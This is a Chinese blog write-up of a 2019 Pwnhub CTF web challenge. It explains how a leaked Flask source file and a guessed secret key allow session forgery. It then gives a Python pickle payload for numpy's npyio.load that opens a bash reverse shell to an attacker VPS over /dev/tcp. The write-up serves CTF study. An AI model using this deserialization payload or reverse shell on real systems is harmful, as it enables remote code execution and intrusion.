美文网首页
2019 10月 Pwnhub万圣公开赛 Web WriteUp

2019 10月 Pwnhub万圣公开赛 Web WriteUp

作者: Eumenides_62ac | 来源:发表于2019-11-01 20:19 被阅读0次

Web

访问看见在url里看见/?destination=index.html,源码里也提示run.py,访问/?destination=run.py可以得到源码:

# -*- coding: utf-8 -*-
'''
-------------------------------------------------
    File name :    run.py
    Description : 用于启动 pro-system app
    Author :      RGDZ
    Date :    2019/04/30
-------------------------------------------------
    Version : v1.0
    Contact :   rgdz.gzu@qq.com
    License :   (C)Copyright 2018-2019
-------------------------------------------------
'''


# here put the import lib

from datetime import timedelta

from numpy.lib import npyio
from flask import Flask, render_template, redirect, session, request, url_for, jsonify


app = Flask(__name__)
app.config['SECRET_KEY'] = "KEY_SECRET_PWN_H**"
app.config['PERMANENT_SESSION_LIFETIME']=timedelta(days=7)


@app.route('/')
def index():
    destination = request.args.get('destination')
    session["username"] = "Agent Smith"
    # session["username"] = "Ne*"
    return render_template([destination])

@app.route('/matrix/',methods=['GET', "POST"])
def matrix():
    if request.method != "GET":
        if session.get("username") != "Ne*":
            return u"Matrix discover you, so, you died..."
        npy = request.files.get("npy")
        npyio.load(npy)
    return render_template(["matrix.html"])

@app.route('/findRedeemer/',methods=['GET'])
def upload():
    username = session.get("username")
    if username == "Ne*":
        return jsonify(True)
    return jsonify(False)

if __name__ == "__main__":
    app.run(debug=True,
    host="0.0.0.0",
    port=80
    )

访问/matrix/有个上传界面,当然是校验session


有个/findRedeemer/来帮助伪造username
SECRET_KEY可以猜测出是KEY_SECRET_PWN_HUB
然后有源码可以用flask-cookie-session-manager或者自己本地起一个flask访问下就有了。
然后npyio有个反序列化漏洞,网上也有poc,可以构造:
import pickle
import os
class test(object):
    def __reduce__(self):
        s = """bash -c 'sh -i &>/dev/tcp/[VPS]/55555 0>&1'"""
        return os.system, (s,)

evil = pickle.dumps(test())
with open('a.test', 'wb') as f:
    f.write(evil)

上传生成的a.test


可以得到flag

相关文章

  • 2019 10月 Pwnhub万圣公开赛 Web WriteUp

    Web 访问看见在url里看见/?destination=index.html,源码里也提示run.py,访问/?...

  • HCTF两道web题目

    HCTF WEB wp 官方Writeup: [https://bysec.io/hctf/writeup.htm...

  • Pwnhub血月归来annual Writeup

    思路概要 我解本题的思路大致如下: 用栈溢出leak全局变量地址,绕过PIE leak libc中函数的地址,根据...

  • 2019 SUCTF Web writeup

    这次比赛滑水了,只有中午和晚上有时间看题,都是大佬们带着飞的,记录下部分Web的解题思路 0x01 CheckIn...

  • 2019 Openctf Web WriteUp

    i_love_cookie id=guest,改成id=admin即可。 proxy 看到一个链接: 猜测是文件包...

  • [PwnHub](Web)会员日

    admin/admin 登录可以发现提示 , 下载源码 白盒审计 , 发现 profile.php 的 id 参数...

  • Web

    这是 ISITDTU 的一些 web 题目 来自 ISITDTU CTF 2018 部分Web题目Writeup这...

  • pwnhub期末公开赛pwn题解

    shadow_revenge binary,提取码: uwpi 程序逻辑 程序实现了一个"影子栈",当函数被调用时...

  • bugku-web-writeup

    1.web基础$_GET writeup: 输入http://120.24.86.145:8002/get/?wh...

  • Hgame2019 Web WriteUp

    easy_php 访问robots.txt,得到了img/index.php的路径,访问后得到源码: ../被过滤...

网友评论

      本文标题:2019 10月 Pwnhub万圣公开赛 Web WriteUp

      本文链接:https://www.haomeiwen.com/subject/imttbctx.html